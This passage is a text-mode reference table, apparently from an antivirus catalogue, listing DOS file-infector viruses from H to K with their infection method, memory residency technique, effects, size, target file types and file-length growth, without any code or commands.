ºHypervisor.3120¦INT ¦MCB ¦ Ch ¦3120 ¦ .C.E&CE* ¦ e ¦ L º
ºHypervisor.3128¦INT ¦MCB ¦ Ch ¦3128 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºHa.798 ¦FIND¦ - ¦ HV ¦798 ¦ .C * ¦ s ¦ 0, overwrite º
ºHadi.6153 ¦INT ¦MCB ¦ VEr¦6153 ¦ CE * ¦ e ¦ L º
ºHaifa.2352 (2)¦INFI¦ADDR¦ HV ¦2352 ¦ .C.E * ¦ e ¦ L+p+(0-255) º
ºHal.2862 ¦FIND¦ - ¦ - ¦2862 ¦ C+boot* ¦ s ¦ L+? º
ºHalfive.512 ¦INT ¦MCB ¦ H ¦512 ¦ C+boot* ¦ e ¦ L º
ºHalloechen.2012¦INT ¦MCB ¦ Ch ¦2012 ¦ CE ¦ e ¦ L+p º
ºHarmless.1082 ¦INT ¦MCB ¦ HEr¦1082 ¦ E * ¦ e ¦ L+p º
ºHarmless.1082 ¦INT ¦MCB ¦ HEr¦1082 ¦ E * ¦ e ¦ L+p º
ºHateV.524 ¦INT ¦MCB ¦ - ¦524 ¦ C ¦ e ¦ L º
ºHdzz.566 ¦INT ¦MCB ¦ H ¦566 ¦ .C ¦ e ¦ L º
ºHeadMonth.473 ¦FIND¦ - ¦ H ¦473 ¦ .C * ¦ e ¦ L º
ºHelicopter.777 ¦INT ¦MCB ¦ V ¦777 ¦ .C * ¦ i ¦ 0, overwrite º
ºHellSpawn.1141 ¦INT ¦MCB ¦ V ¦1141 ¦ .E * ¦ s ¦ L, companion º
ºHhhh.246 ¦FIND¦ - ¦ - ¦246 ¦ .C * ¦ e ¦ L º
ºHideNowt ¦INT ¦MCB ¦ - ¦1741 ¦ .C.E * ¦ e ¦ L º
ºHider.1782 ¦FIND¦ - ¦ HV ¦1782 ¦ .C.E&CE* ¦ e ¦ L º
ºHighlander.477 ¦INFI¦KEEP¦ V ¦477 ¦ .C ¦ s ¦ L º
ºHiperion.249 ¦INT ¦DOSD¦ - ¦249 ¦ .C ¦ e ¦ L º
ºHiroshima.826 ¦FIND¦ - ¦ HEr¦826 ¦COMMAND.COM* e ¦ L+? º
ºHobo.369 ¦INFI¦INTB¦ - ¦369 ¦ .C&C * ¦ e ¦ L º
ºHolera.1488 ¦INT ¦MCB ¦ H ¦1488 ¦ CE * ¦ CsEe¦ C-L, E-L+p º
ºHoliday.2900 ¦INT ¦MCB ¦ VCh¦2900 ¦ CE * ¦ e ¦ L+p º
ºHolms.6161 ¦INFI¦MCB ¦ S ¦6161 ¦ .C.E&CE* ¦ e ¦ C-L+64+?, E-L+? º
ºHoodoo.4456 ¦FIND¦ - ¦ HV ¦4456 ¦ .E&E * ¦ e ¦ L º
ºHorror.1173 ¦INT ¦MCB ¦ HV ¦1173 ¦ .C.E&CE ¦ e ¦ L º
ºHypnotiser.1784¦INT ¦MCB ¦ V ¦1784 ¦ CE * ¦ e ¦ L º
ºHzp.512 ¦INT ¦INTB¦ Er ¦512 ¦ E * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part I
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºIce.659 ¦INT ¦MCB ¦ - ¦659 ¦ E * ¦ e ¦ L+p º
ºIce.734 ¦INT ¦MCB ¦ V ¦734 ¦ C * ¦ e ¦ L º
ºIce.746 ¦INT ¦MCB ¦ HCh¦746 ¦ C * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIceland.639 ¦INT ¦MCB ¦ - ¦632 ¦ .E ¦ e ¦ L+p º
ºIceland.642 ¦INT ¦MCB ¦ Ch ¦642 ¦ .E ¦ e ¦ L+p º
ºIceland.848 ¦INT ¦MCB ¦ V ¦848 ¦ E * ¦ e ¦ L+p º
ºIceland.1618 ¦INT ¦MCB ¦VCh ¦1618 ¦ EO ¦ e ¦ L+p º
ºIceland.1636 ¦INT ¦MCB ¦VCh ¦1636 ¦ EO ¦ e ¦ L+p º
ºIceland.2280 ¦INT ¦MCB ¦ V ¦2280 ¦ CEO ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIeronim.512 ¦INT ¦MCB ¦ VEr¦512 ¦ .C * ¦ s ¦ L+? º
ºIeronim.560 ¦INT ¦MCB ¦ VEr¦560 ¦ .C * ¦ s ¦ L+? º
ºIeronim.570 ¦INT ¦MCB ¦ V ¦570 ¦ .C * ¦ e ¦ L º
ºIeronim.600 ¦INT ¦MCB ¦ V ¦600 ¦ .C * ¦ e ¦ L º
ºIeronim.1020 ¦INT ¦MCB ¦ V ¦1020 ¦ .C * ¦ s ¦ L º
ºIeronim.1024 ¦INT ¦MCB ¦ V ¦1024 ¦ .C * ¦ s ¦ L º
ºIeronim.1082 ¦INT ¦MCB ¦ V ¦1082 ¦ .C * ¦ s ¦ L º
ºIeronim.1166 ¦INT ¦MCB ¦ V ¦1166 ¦ .E&E * ¦ e ¦ L+? º
ºIeronim.1492 ¦INT ¦MCB ¦ V ¦1492 ¦ .E&E * ¦ e ¦ L+p º
ºIeronim.1581 ¦INT ¦MCB ¦ V ¦1581 ¦ .C * ¦ e ¦ L º
ºIeronim.1596 ¦INT ¦MCB ¦ VEr¦1596 ¦ .E&E * ¦ e ¦ L+p º
ºIeronim.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .E&E * ¦ e ¦ L+? º
ºIeronim.2539 ¦INT ¦MCB ¦ V ¦2539 ¦ .E&E * ¦ e ¦ L+(0-543) º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºInoculation.1786INT ¦MCB ¦ V ¦1786 ¦ .C.E * ¦ e ¦ L+? º
ºInoculation.1819INT ¦MCB ¦ V ¦1819 ¦ .C.E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºInvisible.2926 ¦INT ¦MCB ¦HVS ¦2926 ¦ CE * ¦ e ¦ L º
ºInvisible.3223 ¦INT ¦MCB ¦HVS ¦3223 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºInternal.1381 ¦FIND¦ - ¦ V ¦1381 ¦ .E&E * ¦ e ¦ L+p º
ºInternal.1459 ¦FIND¦ - ¦ V ¦1459 ¦ .E&E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIntruder.459 ¦FIND¦ - ¦ - ¦459 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1319 ¦FIND¦ - ¦ - ¦1319 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1326 ¦FIND¦ - ¦ - ¦1326 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1331 ¦FIND¦ - ¦ - ¦1331 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1336 ¦FIND¦ - ¦ H ¦1336 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1347 ¦FIND¦ - ¦ - ¦1347 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1353 ¦FIND¦ - ¦ - ¦1353 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1355 ¦FIND¦ - ¦ - ¦1355 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1413 ¦FIND¦ - ¦ HV ¦1413 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1440 ¦FIND¦ - ¦ S ¦1440 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1555 ¦FIND¦ - ¦ - ¦1555 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1967 ¦FIND¦ - ¦ - ¦1967 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.1988 ¦FIND¦ - ¦ S ¦1988 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.2048 ¦FIND¦ - ¦ H ¦2048 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.2051 ¦FIND¦ - ¦ S ¦2051 ¦ .E&E ¦ e ¦ L+p º
ºIntruder.2336 ¦FIND¦ - ¦ H ¦2336 ¦ .E&E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIonkin.231 ¦FIND¦ - ¦ - ¦231 ¦ .C&C ¦ e ¦ L º
ºIonkin.2372 ¦FIND¦ - ¦ V ¦2372 ¦ .C&C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIstanbul.1312 ¦INT ¦MCB ¦ - ¦1312 ¦ CE ¦ e ¦ L+p º
ºIstanbul.1349 ¦INT ¦MCB ¦ - ¦1349 ¦ CE ¦ e ¦ L+p º
ºIstanbul.1367 ¦INT ¦MCB ¦ H ¦1367 ¦ CE ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIVP.365 ¦FIND¦ - ¦ H ¦365 ¦ .C.E ¦ e ¦ L, overwrite º
ºIVP.814 ¦FIND¦ - ¦ - ¦814 ¦ .C.E&CE* ¦ e ¦ L º
º.April ¦FIND¦ - ¦ HV ¦1676 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºIda.1490 ¦INT ¦MCB ¦ V ¦1490 ¦ C * ¦ e ¦ L+? º
ºIghty.1156 ¦INT ¦MCB ¦ - ¦1156 ¦ E * ¦ e ¦ L+p º
ºImplant.6182 ¦INT ¦MCB ¦ HV ¦6182 ¦ CES+boot*¦ e ¦ L º
ºInch.534 ¦FIND¦ - ¦ V ¦534 ¦ .C ¦ e ¦ L º
ºInfec.736 ¦INT ¦KEEP¦ V ¦736 ¦ .C ¦ s ¦ L º
ºInferno.781 ¦INT ¦MCB ¦ H ¦781 ¦ C * ¦ e ¦ L+p º
ºInnoxious.1351 ¦INFI¦MCB ¦ V ¦1351 ¦ .C.E&CE* ¦ e ¦ L+p º
ºInquis.2653 ¦INT ¦MCB ¦ VM ¦2653 ¦ CE ¦CsEe ¦ C-L, E-L+p º
ºInt13 ¦INT ¦BUFF¦ H ¦512 ¦ .C * ¦ s ¦ 0 º
ºInt86.500 ¦INT ¦BUFF¦ - ¦500 ¦ C ¦ s ¦ L ++ º
ºIOerror.516 ¦INT ¦VIDE¦ V ¦516 ¦ E * ¦ e ¦ L+p º
ºItavir.3187 ¦FIND¦ - ¦ H ¦3187 ¦ .E * ¦ e ¦ L+? º
ºItv.449 ¦FIND¦ - ¦ V ¦449 ¦ .C * ¦ e ¦ L º
ºIzhevsk.3474 ¦INFI¦MCB ¦ V ¦3474 ¦ .C.E&CE* ¦ e ¦ C-L+16+p, E-L+p º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part J
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºJack.416 ¦FIND¦ - ¦ - ¦416 ¦ .C&CE ¦ e ¦ L º
ºJack.436 ¦FIND¦ - ¦ - ¦436 ¦ .C&CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºJdc.5421 ¦FIND¦ - ¦ V ¦5421 ¦ .C.E&CE* ¦ e ¦ L º
ºJdc.6891 ¦FIND¦ - ¦ HV ¦6891 ¦ .C.E&CE* ¦ e ¦ L º
ºJdc.7474 ¦FIND¦ - ¦ V ¦7474 ¦ .C.E&CE* ¦ e ¦ L º
ºJdc.7611 ¦FIND¦ - ¦ HV ¦7611 ¦ .C.E&CE* ¦ e ¦ L º
ºJdc.7616 ¦FIND¦ - ¦ V ¦7616 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºJerusalem (2)¦INT ¦KEEP¦ HV ¦1808 ¦ .C.E * ¦CsEe ¦ C-L+5,E-L+p,E- ++º
ºJerusalem.933 ¦INT ¦KEEP¦ - ¦933 ¦ C ¦ s ¦ L º
ºJerusalem.1244 ¦INT ¦KEEP¦ - ¦1244 ¦ CE ¦ CsEe¦ C-L+5, E-L+p º
º.Aytuba ¦INT ¦KEEP¦ V ¦2389 ¦ .C.E ¦ CsEe¦ C-L, E-L+p º
º.Baby ¦INT ¦KEEP¦ VH ¦1640 ¦ .E ¦ e ¦ L+p º
º.Barcelona ¦INT ¦KEEP¦ V ¦1792 ¦ .C * ¦ s ¦ L º
º.Canary.1970 ¦INT ¦KEEP¦ VS ¦1970 ¦ C * ¦ s ¦ L º
º.Cvex.5120 (10)¦INT ¦KEEP¦ HV ¦5120 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p º
º.Cvex.6144 ¦INT ¦KEEP¦ HV ¦6144 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p º
º.Cvex.6400 ¦INT ¦KEEP¦ HV ¦6400 ¦ .C.E&CE* ¦CsEe ¦ C-L+5, E-L+p º
º.Czech ¦INT ¦KEEP¦ HV ¦1730 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p º
º.Distrutto ¦INT ¦KEEP¦ HV ¦1588 ¦ CE * ¦CsEe ¦ C-L, E-L+p º
º.Frere ¦INT ¦KEEP¦ H ¦1808 ¦ .C.E ¦CsEe ¦ C-L+5, E-L+p º
º.Glory ¦INT ¦KEEP¦ VEr¦1824 ¦ .C.E * ¦CsEe ¦ C-L+7, E-L+p º
º.Hermanos ¦INT ¦KEEP¦ VH ¦2015 ¦ .C ¦ s ¦ L º
º.Invader (10)¦INT ¦KEEP¦ HVS¦4096 ¦ .C.E+boot*¦CsEe ¦ C-L, E-L+p º
º.Junio ¦INT ¦KEEP¦ VH ¦1500 ¦ .C.E ¦ CsEe¦ L º
º.KBWin ¦INT ¦KEEP¦ Ch ¦1349 ¦ .E ¦ e ¦ L+p º
º.Kylie ¦INT ¦KEEP¦ S ¦2272 ¦ CE * ¦CsEe ¦ C-L, E-L+p º
º.Mabuhay.2660(3)INT ¦KEEP¦ HVS¦2660 ¦ CE * ¦ e ¦ L+p º
º.Mabuhay.2695 ¦INT ¦KEEP¦ HVS¦2695 ¦ CE * ¦ e ¦ L+p º
º.Skism ¦INT ¦KEEP¦ HV ¦1808 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p º
º.Subliminal ¦INT ¦KEEP¦ HV ¦1487 ¦ .C ¦ s ¦ L+9 º
º.Sunday ¦INT ¦KEEP¦ HV ¦1631 ¦ .C.E * ¦CsEe ¦ C-L+5, E-L+p º
º.VTech ¦INT ¦KEEP¦ HV ¦2356 ¦ .C.E * ¦CsEe ¦ C-L+(0-6), E-L+p º
º.Wanderer ¦INT ¦KEEP¦ - ¦1347 ¦ .C.E&CE* ¦CsEe ¦ C-L, E-L+70 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºJovial.503 ¦FIND¦ - ¦ V ¦503 ¦ .C&C ¦ e ¦ L º
ºJovial.506 ¦FIND¦ - ¦ V ¦506 ¦ .C&C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºJabber.334 ¦FIND¦ - ¦ V ¦334 ¦ .C&C * ¦ e ¦ L º
ºJain.1614 ¦INT ¦MCB ¦ HEr¦1614 ¦ CE * ¦ e ¦ L º
ºJester.700 ¦FIND¦ - ¦ - ¦700 ¦ .C&C * ¦ e ¦ L º
ºJindra.2049 ¦FIND¦ - ¦ HV ¦2049 ¦ .C+boot* ¦ e ¦ L º
ºJoker.1918 ¦INT ¦MCB ¦ - ¦1918 ¦ .C.E&CE* ¦ e ¦ L º
ºJolter.2197 ¦INT ¦MCB ¦ V ¦2197 ¦ .C.E&CE* ¦ e ¦ L º
ºJos.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ C ¦ s ¦ L º
ºJouce.1608 ¦FIND¦ - ¦ V ¦1608 ¦ .C.E * ¦ e ¦ C-L, E-L+p º
ºJump.466 ¦INT ¦MCB ¦ - ¦466 ¦ C * ¦ e ¦ L º
ºJumpBoot ¦ - ¦ - ¦ H ¦512 ¦ sector * ¦ s,i ¦ 0, overwrite º
ºJuneTunes.1784 ¦INT ¦MCB ¦ S ¦1784 ¦ .C.E&CE* ¦ e ¦ L º
ºJunior.224 ¦INT ¦INTB¦ - ¦224 ¦ C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part K
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºKaczor.4444 ¦INT ¦MCB ¦ V ¦4444 ¦ .E&E+boot*¦ e ¦ L º
ºKaczor.4447 ¦INT ¦MCB ¦ V ¦4447 ¦ .E&E+boot*¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKaka.863 ¦INT ¦MCB ¦ - ¦863 ¦ E ¦ e ¦ L+p º
ºKaka.911 ¦INT ¦MCB ¦ - ¦911 ¦ E * ¦ e ¦ L+p º
ºKaka.928 ¦INT ¦MCB ¦ - ¦928 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKaliostro.1752 ¦INT ¦MCB ¦ Ch ¦1752 ¦ E * ¦ e ¦ L+? º
ºKaliostro.2098 ¦INT ¦MCB ¦ Ch ¦2098 ¦ E * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKate.582 ¦INT ¦MCB ¦ - ¦582 ¦ .C&C* ¦ e ¦ L º
ºKate.585 ¦INT ¦MCB ¦ - ¦585 ¦ .C&C* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKela.690 ¦INT ¦ADDR¦ V ¦690 ¦ .C ¦ e ¦ L º
ºKela.823 ¦INT ¦MCB ¦ - ¦823 ¦ .C ¦ e ¦ L º
ºKela.1171 ¦INT ¦MCB ¦ - ¦1171 ¦ CE ¦ e ¦ L º
ºKela.1207 ¦INT ¦MCB ¦ - ¦1207 ¦ .C.E&CE* ¦ e ¦ L º
ºKela.1253 ¦INT ¦MCB ¦ - ¦1253 ¦ .C.E&CE* ¦ e ¦ L º
ºKela.1473 ¦INT ¦MCB ¦ - ¦1473 ¦ .C.E&CE* ¦ e ¦ L º
ºKela.1735 ¦INT ¦MCB ¦ - ¦1735 ¦ CE ¦ e ¦ L º
ºKela.1904 ¦INT ¦MCB ¦ - ¦1904 ¦ CE ¦ e ¦ L º
ºKela.2002 ¦INT ¦MCB ¦ - ¦2002 ¦ CE ¦ e ¦ L º
ºKela.2007 ¦INT ¦MCB ¦ - ¦2007 ¦ CE ¦ e ¦ L º
ºKela.2010 ¦INT ¦MCB ¦ H ¦2010 ¦ CE ¦ e ¦ L º
ºKela.2018 ¦INT ¦MCB ¦ - ¦2018 ¦ CE ¦ e ¦ L º
ºKela.2099 ¦INT ¦MCB ¦ V ¦2010 ¦ CE ¦ e ¦ L º
ºKela.2122 ¦INT ¦MCB ¦ - ¦2122 ¦ CE ¦ e ¦ L º
ºKela.2163 ¦INT ¦MCB ¦ - ¦2163 ¦ CE ¦ e ¦ L ++ º
ºKela.2520 ¦INT ¦MCB ¦ V ¦2520 ¦ CE ¦ e ¦ L º
ºKela.2530 ¦INT ¦MCB ¦ V ¦2530 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKeybug.895 ¦INT ¦MCB ¦ Ch ¦895 ¦ .C ¦ e ¦ L+(0-36) º
ºKeybug.980 ¦INT ¦MCB ¦ Ch ¦980 ¦ CE ¦ e ¦ C-L, E-L+p º
ºKeybug.1568 ¦INT ¦MCB ¦ Ch ¦1568 ¦ CEO ¦ e ¦ L+(0-36) º
ºKeybug.1596 ¦INT ¦MCB ¦ Ch ¦1596 ¦ CEO ¦ e ¦ L+(0-36) º
ºKeybug.1720 ¦INT ¦MCB ¦ Ch ¦1720 ¦ CEO ¦ e ¦ L+(0-36) º
ºKeybug.2662 ¦INT ¦MCB ¦ VCh¦2662 ¦ CEO ¦ e ¦ L+(0-36) º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKeypress.935 ¦INT ¦MCB ¦ H ¦935 ¦ CE ¦ e ¦ L+p º
ºKeypress.1000 ¦INT ¦MCB ¦ H ¦1000 ¦ CE * ¦ e ¦ C-L+p, E-L+p+256 º
ºKeypress.1212 ¦INT ¦MCB ¦ V ¦1212 ¦ CE ¦ e ¦ L+10+p º
ºKeypress.1216(2)INT ¦MCB ¦ V ¦1216 ¦ CE ¦ e ¦ L+10+p º
ºKeypress.1232 ¦INT ¦MCB ¦ V ¦1232 ¦ CE ¦ e ¦ L+p º
ºKeypress.1250 ¦INT ¦MCB ¦ V ¦1250 ¦ CE ¦ e ¦ L+p º
ºKeypress.1479 ¦INT ¦MCB ¦ V ¦1479 ¦ CE ¦ e ¦ L+10+p º
ºKeypress.1600 ¦INT ¦MCB ¦ V ¦1600 ¦ CE ¦ e ¦ L+p º
ºKeypress.1728 ¦INT ¦MCB ¦ - ¦1728 ¦ CE ¦ e ¦ L+p º
ºKeypress.2728 ¦INT ¦MCB ¦ V ¦2728 ¦ CE+boot ¦ e ¦ L+p º
º.Platon ¦INT ¦MCB ¦ Ch ¦1258 ¦ CE * ¦ e ¦ C-L+p, E-L+p+256 º
º.Samsoft ¦INT ¦MCB ¦ VCh¦1232 ¦ CE * ¦ e ¦ C-L+p, E-L+p+240 º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºKhizhnjak.155 ¦FIND¦ - ¦ - ¦155 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.255 ¦FIND¦ - ¦ - ¦255 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.306 ¦FIND¦ - ¦ - ¦306 ¦ .C ¦ e ¦ L+p º
ºKhizhnjak.377 ¦FIND¦ - ¦ H ¦377 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.406 ¦FIND¦ - ¦ V ¦406 ¦ .C * ¦ e ¦ L+p º
ºKhizhnjak.469 ¦FIND¦ - ¦ - ¦469 ¦ .C&C ¦ e ¦ L+p º
